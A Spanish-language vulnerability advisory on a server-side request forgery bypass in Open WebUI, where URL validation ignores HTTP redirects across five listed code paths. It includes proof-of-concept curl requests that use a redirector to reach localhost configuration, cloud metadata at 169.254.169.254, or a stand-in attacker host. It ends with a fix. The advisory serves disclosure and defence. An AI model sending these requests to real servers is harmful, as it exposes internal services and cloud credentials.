Bypass de Server-Side Request Forgery (SSRF) via Redirecciones HTTP

Open WebUI presenta una vulnerabilidad crítica de bypass SSRF que permite a usuarios autenticados acceder a recursos internos mediante redirecciones HTTP no validadas. La función validate_url() en backend/open_webui/retrieval/web/utils.py únicamente valida la URL inicial enviada por el usuario, pero los clientes HTTP utilizados posteriormente siguen redirecciones HTTP 3xx por defecto sin revalidar el destino de la redirección contra la lista de IPs privadas o de metadatos bloqueadas.

Rutas de Código Afectadas

La vulnerabilidad existe en múltiples puntos de llamada que siguen redirecciones sin revalidación:

Ruta 1: _scrape síncrono via SafeWebBaseLoader

SafeWebBaseLoader hereda de langchain_community.document_loaders.WebBaseLoader. El método _scrape() del padre llama a self.session.get(url, **self.requests_kwargs). requests_kwargs solo establece timeout; no se pasa allow_redirects=False, por lo que requests.Session.get() sigue redirecciones con el valor por defecto allow_redirects=True.

Ruta 2: _fetch asíncrono (aiohttp)

_fetch() heredaba previamente el valor por defecto de aiohttp allow_redirects=True. Esta ruta está corregida en HEAD (allow_redirects=False).

Ruta 3: get_content_from_url (requests.get síncrono)

response = requests.get(url, stream=True, timeout=30) sin allow_redirects=False. Accesible via /api/v1/retrieval/process/web y otros routers que resuelven URLs externas.

Ruta 4: load_url_image (edición de imágenes)

Helper de obtención de URLs de imagen usado por el endpoint de edición de imágenes. Mismo patrón: validate_url() verifica solo la URL inicial, el cliente HTTP subyacente sigue redirecciones sin revalidación. Accesible via /api/v1/images/edit.

Ruta 5: get_image_base64_from_url (inlining de imágenes en chat-completion)

get_image_base64_from_url() se invoca desde convert_url_images_to_base64() en cada petición /api/chat/completions cuyo contenido de mensaje incluye una parte image_url. El pool de sesiones aiohttp compartido no sobrescribe el valor por defecto allow_redirects=True, y el sitio de llamada no pasa allow_redirects=False. Esta es la variante más accesible: no requiere endpoint especial, permisos de admin ni feature flags.

Prueba de Concepto

Usuario autenticado con bajos privilegios; configuración por defecto, sin permisos especiales:

bash
curl -X POST https://<target>/api/v1/retrieval/process/web \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}'

El cuerpo de respuesta contiene el payload interno /api/config en file.data.content. Reemplazar el destino de redirección con http://169.254.169.254/latest/meta-data/ para metadatos de nube, o cualquier hostname interno alcanzable desde el servidor.

Para la ruta de chat-completion (Ruta 5), la misma redirección se sigue cuando una parte de contenido image_url apunta a un redirector controlado por el atacante:

bash
curl -X POST https://<target>/api/chat/completions \
  -H "Authorization: Bearer <any_user_token>" \
  -H "Content-Type: application/json" \
  -d '{"model":"any","messages":[{"role":"user","content":[{"type":"text","text":"x"},{"type":"image_url","image_url":{"url":"http://attacker/redirect-to-imdsv1"}}]}]}'

Impacto

Cualquier usuario autenticado puede leer respuestas GET de cualquier servicio HTTP alcanzable por el proceso del servidor Open WebUI: servicios de metadatos de nube (IMDSv1 si está disponible), APIs de aplicaciones vinculadas a localhost, bases de datos internas, servicios de monitoreo/Kubernetes, y redes on-premise conectadas por VPN.

Solución Recomendada

Para cada sitio de llamada que sigue redirecciones, establecer allow_redirects=False en el cliente HTTP subyacente y agregar un bucle de validación por salto usando validate_url() en cada header Location:.